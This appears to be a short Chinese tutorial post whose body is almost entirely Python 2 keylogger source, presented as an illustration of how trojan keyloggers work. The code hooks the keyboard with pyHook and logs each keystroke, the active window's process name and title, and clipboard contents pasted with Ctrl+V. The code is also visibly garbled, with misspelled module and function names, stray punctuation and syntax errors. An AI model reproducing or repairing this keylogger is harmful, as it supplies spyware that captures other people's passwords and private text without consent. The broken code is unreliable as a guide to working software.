Python告诉你木马程序的键盘记录原理

# -*- coding: utf-8 -*-

from ctypes inport

import pythoncom

import pyHook

import win32clipboard

user32 = winddll.user32

kernel32 = windll.kernel32

psapi = windll.psapi

current_window = Note

def get_current_process():

#获取最上层的窗句柄

hwnd = user32.GetForegroundWindow()

#获取进程ID

pid = c_ulong(0)

user32. GetwindowThreadProcessId(hwnd,byref(pid))

#将进程ID存入变量中

process_ = "%d" % pid.value

#申请内存

executable = create_string_buffer("\x00"*522)

h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)

psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)

#读取窗口标题

windows_title = create_string_buffer("\x00",512)

length = user32.GetWindowTextA(hwnd,byref(windows.title),512)

#打印

print

print "[PID:%s-%s-%s]" %(process_id,executable.value,windows_title.value)

print

#关闭handles

kernel32.CloseHandle(hwnd)

kernel32.CloseHandle(h_process)

#关闭键盘监听事件函数

def KeyStroke(event):

global current_window

#检测目标窗口是否转移（换了其他窗口就监听新窗口）

if event,WindowName !=current_window:

current_window = event.WindowName

#函数调用

get_current_process()

#检测击键是否常规按键（非组合键等）

if event.Ascii>32 and enent .Ascii <127 ：

print chr(event.Ascii),

else:

#如果发现ctrl + V事件，就粘贴板内容记录下来

if event.Key == "V"

win32clipboard.OpenClipdoard()

pasted_value = win32clipdoard. GetClipdoardData()

win32clipdoard.CloseClipboard()

print "[PASTE]-%s" %(pasted_value)，

else:

print "[%s]" %event.Key，

循环监听下一个事件

return True

#创建并注册hook管理器

kl = pyHook.HookManager()

kl.KeyDown = KeyStroke

#注册hook并兴趣

kl.hookKeyboard()

pythoncom.PumpMessages()